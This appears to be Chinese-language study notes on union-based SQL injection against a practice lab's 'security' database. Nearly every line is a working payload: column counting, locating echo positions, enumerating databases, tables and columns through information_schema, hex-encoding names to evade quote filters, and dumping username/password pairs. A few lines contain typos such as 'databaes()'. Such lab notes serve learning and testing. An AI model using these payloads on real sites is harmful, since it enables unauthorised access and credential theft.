查询当前数据表中列数
id=1' order by 4--+
联合查询注入数据库
显示回显位置
id=-1' union select 1,2,3--+
注意:这里显示回显位置为第二列和第三列,因此在第一列进行操作时不会产生回显。
查询当前数据库名称,当前连接数据库使用者,以及数据库版本号。
id=-1’ union select 1,2,(select databaes())--+
id=-1’ union select 1,(select user()),3--+
注意:
1.用联合查询进行注入则:页面必须有显示位。
2.union可合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同
查数据库名
group_concat 一次性全部显示:id=-1'union select 1,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),3--+
limit 一个一个打印出来库名:id=-1'union select 1,(select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),3--+
查数据表
limit 一个一个打印出来字段名:union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1),3--+
group_concat 一次性全部显示:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x7365637572697479(这里security的16进制数为7365637572697479)
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
查数据表中的列
limit 一个一个打印出来:union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME=‘users’ limit 0,1),3--+
group_concat 一次性全部显示: union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3--+
l
查找列中的数据
limit 一个一个打印出来:
union select 1,(select concat_ws(0x23,username,password) from security.users limit 0,1),3--+
group_concat 把 一次性全部打印:
union select 1,(select group_concat(concat_ws(0x23,username,password))from security.users) ,3 from users--+